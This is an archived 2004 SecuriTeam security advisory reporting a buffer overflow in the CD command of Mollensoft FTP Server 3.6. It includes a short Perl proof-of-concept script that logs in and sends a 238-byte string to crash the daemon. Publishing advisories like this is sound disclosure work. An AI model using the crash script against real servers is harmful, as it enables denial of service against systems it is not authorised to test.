[NT] Mollensoft FTP Server CD Buffer Overflow
From: SecuriTeam (support_at_securiteam.com)
Date: 06/03/04
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To: list@securiteam.com Date: 3 Jun 2004 17:10:21 +0200
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Mollensoft FTP Server CD Buffer Overflow
------------------------------------------------------------------------
SUMMARY
<http://www.mollensoft.com> Mollensoft Lightweight FTP Server is "a
powerful, reliable FTP server for Windows95/98/NT/2000. It includes New
Security and Faster, More Efficient Rules Based Access, Live Client
activity Window as well as a specific Client breakdown window (below) and
significant enhancement in speed/stability and is especially designed for
Intranet Use". A buffer overflow vulnerability exists in its "CD" command
that allows an attacker to READ any memory location. An attacker can pass
a string of 238 bytes to the "CD" command to cause this overflow.
DETAILS
Vulnerable Systems:
* Mollensoft FTP Server version 3.6
Proof Of Concept:
# C:\Active Perl\perl
# POC for mollensoft ftp server 3.6
# Will crash the deamon
use IO::Socket::INET;
$host = "localhost";
$port = 21;
$buffer = "A" x 238;
$socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host,
PeerPort=>$port);
print $socket "USER root\r\n";
$socket->recv($test,100);
print $test;
print $socket "PASS password\r\n";
$socket->recv($test,100);
print $test;
print $socket "CD $buffer\r\n";
$socket->recv($test,100);
print $test;
close($socket);
ADDITIONAL INFORMATION
The information has been provided by <mailto:chesschintan@hotmail.com>
Chintan Trivedi.
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